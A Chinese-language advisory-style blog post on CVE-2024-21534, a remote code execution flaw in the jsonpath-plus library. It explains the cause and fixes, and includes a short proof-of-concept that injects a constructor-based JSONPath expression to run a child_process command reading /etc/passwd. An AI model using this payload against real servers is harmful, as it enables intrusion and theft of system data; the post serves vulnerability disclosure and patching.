JSONPath Plus Remote Code Execution (RCE) 漏洞

jsonpath-plus 是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。

漏洞原理

该漏洞源于 jsonpath-plus 未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus 内部使用了 Node.js 的 vm 模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm 模块执行恶意代码.

即使在 10.0.0 版本之后,jsonpath-plus 尝试修复此漏洞,但仍可以使用不同的Payload绕过。

实际应用例子

假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus 版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。

攻击步骤

  1. 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
  2. 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用 jsonpath-plus 处理用户提供的 JSON 数据查询。
  3. 代码执行 :应用程序使用 vm 模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。

PoC Demo

javascript 复制代码
// index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';

// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;

// 使用 JSONPath 执行查询
const result = JSONPath({
  json: data,
  path: maliciousPath
});

修复方案

  1. 升级 jsonpath-plus:升级到 10.2.0 或更高版本,该版本已修复此漏洞。
  2. 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
  3. 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。

影响

  • 未授权访问:攻击者可以获得对系统的未授权访问。
  • 数据泄露:敏感信息可能被暴露或窃取。
  • 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。

其他受影响的应用

IBM App Connect Enterprise 存在由于 jsonpath-plus 导致的多重漏洞。

相关推荐
Asthenia041220 分钟前
什么是消除直接左递归 - 编译原理解析
后端
Asthenia041226 分钟前
什么是自上而下分析 - 编译原理剖析
后端
Asthenia04121 小时前
什么是语法分析 - 编译原理基础
后端
Asthenia04121 小时前
理解词法分析与LEX:编译器的守门人
后端
uhakadotcom1 小时前
视频直播与视频点播:基础知识与应用场景
后端·面试·架构
Asthenia04122 小时前
Spring扩展点与工具类获取容器Bean-基于ApplicationContextAware实现非IOC容器中调用IOC的Bean
后端
bobz9652 小时前
ovs patch port 对比 veth pair
后端
Asthenia04122 小时前
Java受检异常与非受检异常分析
后端
uhakadotcom3 小时前
快速开始使用 n8n
后端·面试·github
JavaGuide3 小时前
公司来的新人用字符串存储日期,被组长怒怼了...
后端·mysql